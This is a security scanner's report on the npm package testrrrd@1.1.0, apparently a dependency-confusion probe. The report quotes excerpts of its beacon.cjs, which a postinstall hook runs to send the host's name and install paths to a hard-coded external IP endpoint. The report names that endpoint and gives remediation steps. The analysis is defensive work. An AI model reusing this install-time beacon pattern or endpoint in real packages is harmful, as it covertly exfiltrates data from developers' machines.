testrrrd@1.1.0
Compatibility shim.
This package appears in our research on the dependency confusion probes at version 99 and above, with how it works, the full package list and what to do if you installed it.
AI Security Review
scanned 14d ago · by lpm-firewall-aiSource inspection confirms an automatic install-time beacon that sends host and project location metadata to a fixed external endpoint. The import entrypoint also triggers the transmission, supporting a malicious data exfiltration verdict.
Static reason
One or more suspicious static signals were detected.; source fingerprint signature matched known malicious package; routed for review
Trigger
Package installation or importing index.js.
Impact
The endpoint receives host identity and local path information without an explicit user action.
Mechanism
beacon.cjs builds a metadata payload and sends it in an HTTP POST to the configured endpoint.
Attack narrative
During installation, the postinstall hook runs beacon.cjs, which posts the machine hostname, install path, current working directory, and npm version to a fixed external endpoint. Importing index.js triggers the same beacon. This is active, automatic metadata exfiltration.
AI rationale
Source inspection confirms an automatic install-time beacon that sends host and project location metadata to a fixed external endpoint. The import entrypoint also triggers the transmission, supporting a malicious data exfiltration verdict.
Evidence
package.jsonbeacon.cjsindex.js
Network endpoints1
185.158.107.175:8787/_ah/dc
Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- The postinstall hook runs beacon.cjs automatically during installation.
- The beacon sends host name, install path, working directory, and npm version metadata to a fixed external endpoint.
- Importing index.js also calls the beacon, so the network request is not limited to installation.
Evidence against
Behavioral surface
Network
UrlStrings
Source & flagged code
8 flagged · loading sourcepackage.jsonView file
•scripts.postinstall = node beacon.cjs
High
Install Time Lifecycle Scripts
Package defines install-time lifecycle scripts.
package.jsonView on unpkg6"scripts": {
"postinstall": "node beacon.cjs"
},
"fi
High
Suspicious Lifecycle Evidence
The postinstall hook runs beacon.cjs automatically during installation.
package.jsonView on unpkg · L6beacon.cjsView file
3// recipient can correlate an install. No data beyond that is collected or sent.
L4: var BEACON = "http://185.158.107.175:8787/_ah/dc";
L5: var PKG = "testrrrd";
...
L10: var lib = u.protocol === 'https:' ? require('https') : require('http');
L11: var data = Buffer.from(JSON.stringify(payload));
L12: var req = lib.request({
...
L20: req.setTimeout(5000, function () { try { req.destroy(); } catch (e) {} resolve(); });
L21: req.write(data); req.end();
L22: } catch (e) { resolve(); }
...
L27: package: PKG,
L28: hostname: (function () { try { return require('os').hostname(); } catch (e) { return ''; } })(),
L29: installPath: __dirname,
Findings
8 High1 Medium2 Low
HighInstall Time Lifecycle Scriptspackage.json
HighHost Fingerprint Exfiltrationbeacon.cjs
HighKnown Malware Source Fingerprint Signaturebeacon.cjs
HighSuspicious Lifecycle Evidencepackage.json
HighAi Review Evidencebeacon.cjs
HighAi Review Evidencebeacon.cjs
HighAi Review Evidencebeacon.cjs
HighAi Review Evidenceindex.js
MediumNetwork
LowScripts Present
LowUrl Strings
Affected versions and remediation
This report applies to testrrrd@1.1.0.
See all versions of testrrrd for other recorded verdicts.
- Avoid installing testrrrd@1.1.0. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.